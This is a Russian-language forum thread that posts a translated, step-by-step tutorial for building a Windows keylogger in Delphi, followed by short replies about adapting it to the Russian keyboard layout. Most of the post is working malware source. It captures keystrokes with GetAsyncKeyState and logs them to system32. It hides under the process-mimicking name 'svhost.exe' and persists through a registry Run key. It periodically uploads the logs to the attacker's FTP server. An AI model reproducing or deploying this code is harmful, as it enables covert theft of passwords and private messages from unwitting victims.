РЕКЛАМА НА ФОРУМЕ 

РЕКЛАМА НА ФОРУМЕ MultiVPN РЕКЛАМА НА ФОРУМЕ

Keylogger на Delphi (шаг за шагом)

webster

Гость
Привет всем, сегодя я объясню как создать кейлоггер на делфи
1. Запускаем Delphi
Это должно выглядеть вот так

2 поле для кода должно выглядеть так

3 Используемые компоненты будут тут

4.Замените эти компоненты замените следующими.


Код:
Код:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Inifiles,
registry, sockets, Wininet;
1. Заявляем переменные
2. Переменные

Добавте эти переменные в ваш код


Код:
Код:
var
Form1: TForm1;
ini : tinifile;
F: Textfile;
final: string;
reg: tregistry;
Это в заявления


Код:
Код:
Loopkey:Byte;
Теперь поместите компоненты timer и memo на вашу форму.

Дважды кликните на часы =)

и вставьте этот код


Код:
Код:
var
Result:Longint;
Enter:Integer;
Period:Integer;
Comma:Integer;
Space:Integer;
Colon:Integer;
Slash:Integer;
Backspace:Integer;
Escape:Integer;
Tab:Integer;
Shift:Integer;
Ctrl:Integer;
Alt:Integer;
Pause:Integer;
CapsLock:integer;
PageUP:Integer;
PageDown:Integer;
Fin:Integer;
Home:Integer;
LeftArrow:Integer;
UpArrow:Integer;
RightArrow:Integer;
DownArrow:Integer;
PrintScreen:Integer;
Insert:Integer;
Delete:Integer;
WindowL:Integer;
WindowR:Integer;
Multiply:Integer;
Add:Integer;
Zero:Integer;
Un:Integer;
Deux:Integer;
Trois:Integer;
Quatre:Integer;
Cinq:Integer;
Six:Integer;
Sept:Integer;
Huit:Integer;
Neuf:Integer;
Separator:Integer;
Soustraire:Integer;
Point:Integer;
Diviser:Integer;
F1:Integer;
F2:Integer;
F3:Integer;
F4:Integer;
F5:Integer;
F6:Integer;
F7:Integer;
F8:Integer;
F9:Integer;
F10:Integer;
F11:Integer;
F12:Integer;
NumLock:Integer;
StopScroll:Integer;
Label KeyFound;
begin

Result:=0;
Enter:=0;
Period:=0;
Comma:=0;
Space:=0;
Colon:=0;
Slash:=0;
Backspace:=0;
Escape:=0;
Tab:=0;
Shift:=0;
Ctrl:=0;
Alt:=0;
Pause:=0;
CapsLock:=0;
PageUP:=0;
PageDown:=0;
Fin:=0;
Home:=0;
LeftArrow:=0;
UpArrow:=0;
RightArrow:=0;
DownArrow:=0;
PrintScreen:=0;
Insert:=0;
Delete:=0;
WindowL:=0;
WindowR:=0;
Multiply:=0;
Add:=0;
Zero:=0;
Un:=0;
Deux:=0;
Trois:=0;
Quatre:=0;
Cinq:=0;
Six:=0;
Sept:=0;
Huit:=0;
Neuf:=0;
Separator:=0;
Soustraire:=0;
Point:=0;
Diviser:=0;
F1:=0;
F2:=0;
F3:=0;
F4:=0;
F5:=0;
F6:=0;
F7:=0;
F8:=0;
F9:=0;
F10:=0;
F11:=0;
F12:=0;
NumLock:=0;
StopScroll:=0;

Result:=GetAsyncKeyState(27);
If Result=-32767 then
Begin
Escape:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(109);
If Result=-32767 then
Begin
Soustraire:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(110);
If Result=-32767 then
Begin
Point:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(111);
If Result=-32767 then
Begin
Diviser:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(112);
If Result=-32767 then
Begin
F1:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(113);
If Result=-32767 then
Begin
F2:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(114);
If Result=-32767 then
Begin
F3:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(115);
If Result=-32767 then
Begin
F4:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(116);
If Result=-32767 then
Begin
F5:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(117);
If Result=-32767 then
Begin
F6:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(118);
If Result=-32767 then
Begin
F7:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(119);
If Result=-32767 then
Begin
F8:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(120);
If Result=-32767 then
Begin
F9:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(121);
If Result=-32767 then
Begin
F10:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(122);
If Result=-32767 then
Begin
F11:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(123);
If Result=-32767 then
Begin
F12:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(144);
If Result=-32767 then
Begin
NumLock:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(145);
If Result=-32767 then
Begin
StopScroll:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(96);
If Result=-32767 then
Begin
Zero:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(97);
If Result=-32767 then
Begin
Un:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(98);
If Result=-32767 then
Begin
Deux:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(99);
If Result=-32767 then
Begin
Trois:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(100);
If Result=-32767 then
Begin
Quatre:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(101);
If Result=-32767 then
Begin
Cinq:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(102);
If Result=-32767 then
Begin
Six:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(103);
If Result=-32767 then
Begin
Sept:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(104);
If Result=-32767 then
Begin
Huit:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(105);
If Result=-32767 then
Begin
Neuf:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(108);
If Result=-32767 then
Begin
Separator:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(91);
If Result=-32767 then
Begin
WindowL:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(92);
If Result=-32767 then
Begin
WindowR:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(106);
If Result=-32767 then
Begin
Multiply:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(107);
If Result=-32767 then
Begin
Add:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(46);
If Result=-32767 then
Begin
Delete:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(45);
If Result=-32767 then
Begin
Insert:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(42);
If Result=-32767 then
Begin
PrintScreen:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(37);
If Result=-32767 then
Begin
LeftArrow:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(38);
If Result=-32767 then
Begin
UpArrow:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(39);
If Result=-32767 then
Begin
RightArrow:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(40);
If Result=-32767 then
Begin
DownArrow:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(36);
If Result=-32767 then
Begin
Home:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(35);
If Result=-32767 then
Begin
Fin:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(33);
If Result=-32767 then
Begin
PageUP:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(34);
If Result=-32767 then
Begin
PageDown:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(16);
If Result=-32767 then
Begin
Shift:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(20);
If Result=-32767 then
Begin
CapsLock:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(19);
If Result=-32767 then
Begin
Pause:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(18);
If Result=-32767 then
Begin
Alt:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(17);
If Result=-32767 then
Begin
Ctrl:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(9);
If Result=-32767 then
Begin
Tab:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(8);
If Result=-32767 then
Begin
Backspace:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(190);
If Result= -32767 then
begin
Period:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(13);
if Result= -32767 then
Begin
Enter:=1;
Goto Keyfound;
End;

Result:=GetAsyncKeyState(188);
if Result= -32767 then
begin
Comma:=1;
Goto keyFound;
End;

Result:=GetAsyncKeyState(32);
if Result= -32767 then
Begin
Space:=1;
Goto Keyfound;
End;

Result:=GetAsyncKeyState(186);
if Result= -32767 then
Begin
Colon:=1;
Goto Keyfound;
End;

Result:=GetAsyncKeyState(191);
if Result= -32767 then
Begin
Slash:=1;
Goto Keyfound;
End;

Loopkey:=41;
repeat
Result:=GetAsyncKeyState(Loopkey);
if Result= -32767 then
Begin
Memo1.Text:= Memo1.Text + Chr(Loopkey);
End
Else
Loopkey:=Loopkey+1;
until Loopkey = 91;

Exit;

KeyFound:

if Escape=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Escape]';
Escape:=0;
Exit;
End;

if F1=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F1]';
F1:=0;
Exit;
End;

if F2=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F2]';
F2:=0;
Exit;
End;

if F3=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F3]';
F3:=0;
Exit;
End;

if F4=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F4]';
F4:=0;
Exit;
End;

if F5=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F5]';
F5:=0;
Exit;
End;

if F6=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F6]';
F6:=0;
Exit;
End;

if F7=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F7]';
F7:=0;
Exit;
End;

if F8=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F8]';
F8:=0;
Exit;
End;

if F9=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F9]';
F9:=0;
Exit;
End;

if F10=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F10]';
F10:=0;
Exit;
End;

if F11=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F11]';
F11:=0;
Exit;
End;

if F12=1 Then
Begin
Memo1.Text:=Memo1.Text + '[F12]';
F12:=0;
Exit;
End;

if NumLock=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Numlock]';
NumLock:=0;
Exit;
End;

if StopScroll=1 Then
Begin
Memo1.Text:=Memo1.Text + '[StopScroll]';
StopScroll:=0;
Exit;
End;

if Zero=1 Then
Begin
Memo1.Text:=Memo1.Text + '0';
Zero:=0;
Exit;
End;

if Un=1 Then
Begin
Memo1.Text:=Memo1.Text + '1';
Un:=0;
Exit;
End;

if Deux=1 Then
Begin
Memo1.Text:=Memo1.Text + '2';
Deux:=0;
Exit;
End;

if Trois=1 Then
Begin
Memo1.Text:=Memo1.Text + '3';
Trois:=0;
Exit;
End;

if Quatre=1 Then
Begin
Memo1.Text:=Memo1.Text + '4';
Quatre:=0;
Exit;
End;

if Cinq=1 Then
Begin
Memo1.Text:=Memo1.Text + '5';
Cinq:=0;
Exit;
End;

if Six=1 Then
Begin
Memo1.Text:=Memo1.Text + '6';
Six:=0;
Exit;
End;

if Sept=1 Then
Begin
Memo1.Text:=Memo1.Text + '7';
Sept:=0;
Exit;
End;

if Huit=1 Then
Begin
Memo1.Text:=Memo1.Text + '8';
Huit:=0;
Exit;
End;

if Neuf=1 Then
Begin
Memo1.Text:=Memo1.Text + '9';
Neuf:=0;
Exit;
End;

if Separator=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Separator]';
Separator:=0;
Exit;
End;

if WindowL=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Windows Gauche]';
WindowL:=0;
Exit;
End;

if WindowR=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Windows Droite]';
WindowR:=0;
Exit;
End;

if Multiply=1 Then
Begin
Memo1.Text:=Memo1.Text + '*';
Multiply:=0;
Exit;
End;

if Add=1 Then
Begin
Memo1.Text:=Memo1.Text + '+';
Add:=0;
Exit;
End;

if Soustraire=1 Then
Begin
Memo1.Text:=Memo1.Text + '-';
Soustraire:=0;
Exit;
End;

if Diviser=1 Then
Begin
Memo1.Text:=Memo1.Text + '/';
Diviser:=0;
Exit;
End;

if Point=1 Then
Begin
Memo1.Text:=Memo1.Text + '.';
Point:=0;
Exit;
End;

if Delete=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Delete]';
Delete:=0;
Exit;
End;

if Insert=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Insert]';
Insert:=0;
Exit;
End;

if PrintScreen=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Print]';
PrintScreen:=0;
Exit;
End;

if Fin=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Fin]';
Fin:=0;
Exit;
End;

if PageUP=1 Then
Begin
Memo1.Text:=Memo1.Text + '[PageUP]';
PageUP:=0;
Exit;
End;

if PageDown=1 Then
Begin
Memo1.Text:=Memo1.Text + '[PageDown]';
PageDown:=0;
Exit;
End;

if Ctrl=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Ctrl]';
Ctrl:=0;
Exit;
End;

if Alt=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Alt]';
Alt:=0;
Exit;
End;

if Home=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Home]';
Home:=0;
Exit;
End;

if Shift=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Shift]';
Shift:=0;
Exit;
End;

if LeftArrow=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Gauche]';
LeftArrow:=0;
Exit;
End;

if UpArrow=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Haut]';
UpArrow:=0;
Exit;
End;

if RightArrow=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Droite]';
RightArrow:=0;
Exit;
End;

if DownArrow=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Bas]';
DownArrow:=0;
Exit;
End;

if CapsLock=1 Then
Begin
Memo1.Text:=Memo1.Text + '[CapsLock]';
CapsLock:=0;
Exit;
End;

if Pause=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Pause]';
Pause:=0;
Exit;
End;

if Tab=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Tab]';
Tab:=0;
Exit;
End;

if Backspace=1 Then
Begin
Memo1.Text:=Memo1.Text + '[BackSpace]';
Backspace:=0;
Exit;
End;

if Enter=1 Then
Begin
Memo1.Text:=Memo1.Text + '[Enter]';
Enter:=0;
Exit;
End;

if Period=1 Then
Begin
Memo1.Text:=Memo1.Text + '.';
Period:=0;
Exit;
End;

if Comma=1 then
begin
Memo1.Text:=Memo1.Text+',';
Comma:=0;
Exit;
End;

if Space=1 Then
Begin
Memo1.Text:=Memo1.Text+' ';
Space:=0;
Exit;
End;

if Colon=1 then
Begin
Memo1.Text:=Memo1.Text+':';
Colon:=0;
Exit;
End;

if Slash=1 Then
begin
Memo1.Text:=Memo1.Text + '/';
Slash:=0;
Exit;
End;
Запоминает нажатые кнопки.
Теперь добавим ещё одни часы и добавим ещё код


Код:
Код:
ini := tinifile.Create('C:\windows\system32\Log.ini');
ini.WriteString('Log','Log',Memo1.Text);
ini.Free;
Memo1.Clear;
uploadnow;
Этот код будет сохранять историю в log.ini
Теперь мы хотим, чтобы кейлоггер запускался при запуске windows
Дважды кликаем на форму и вставляем код


Код:
Код:
begin
var path: string;
begin
path := application.ExeName;
copyfile(pchar(path),'C:\windows\system32\svhost.e xe',true);
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVer sion\Run',false);
reg.writeString('svhost','C:\windows\system32\svho st.exe');
reg.CloseKey;
Reg.Free;
end;
Теперь мы хотим чтобы наши логи сохранялись на ftp
Надо вставить наши данные (ftp сервер, логин, пароль)
Вставляйте все процедуры и функции после implementation


Код:
Код:
implementation
{$R *.dfm}

Код:
Код:
procedure uploadnow;
var
intconn,intopen : hinternet;
port:integer;
host,username,password:string;
file_to_upload,file_upload_name:string;
begin
port:=21;
host:= 'Ваш ftp сервер';
username:='ftp логин';
password:='пароль';

file_to_upload:='C:\windows\system32\log.ini';
file_upload_name:= Computername +'.txt';

intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0);
intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0);

sleep(100);

FtpCreateDirectory(intconn,pchar('t0xic'));
FtpSetCurrentDirectory(intconn,pchar('t0xic'));

ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0);

if getlasterror() = 0 then
internetclosehandle(intopen);
end;
Должно выглядеть вот так:


Код:
Код:
implementation

{$R *.dfm}
function ComputerName: string;
var
lpBuffer: array[0..MAX_COMPUTERNAME_LENGTH] of char;
nSize: dword;
begin
nSize:= Length(lpBuffer);
if GetComputerName(lpBuffer, nSize) then
result:= lpBuffer
else
result:= '';
end;
procedure uploadnow;
var
intconn,intopen : hinternet;
port:integer;
host,username,password:string;
file_to_upload,file_upload_name:string;
begin
port:=21;
host:= 'Your ftp server';
username:='your ftp username';
password:='your ftp password';

file_to_upload:='C:\windows\system32\log.ini';
file_upload_name:= Computername+'.txt';

intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0);
intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0);

sleep(100);

FtpCreateDirectory(intconn,pchar('t0xic'));
FtpSetCurrentDirectory(intconn,pchar('t0xic'));

ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0);

if getlasterror() = 0 then
internetclosehandle(intopen);
end;
Устанавливаем в часах
timer1.Interval := 1 ;
timer2.interval := 90000 ;
На этом всё.


Автор:Yuri.toxic
Перевод:=<4APAEV>=
ЗЫ немного не понял про компонент memo, так что напишите что и как, если не сложно.
 
OP

mr.Ve4niy_SooN

Гость
Для русской раскладки не подойдёт. Нежно проверять раскладку, если ENG, то всё норм, если RUS, то менять значения кнопочек...
Могу осуществить впринцепи.
 
  • Like
Реакции: ZzZz

by_Trojan

Гость
Для русской раскладки не подойдёт. Нежно проверять раскладку, если ENG, то всё норм, если RUS, то менять значения кнопочек...
Могу осуществить впринцепи.
А смысл? есть PuntoSwitcher... На раз-два можно изменить латинецу на кирилецу
 
Сверху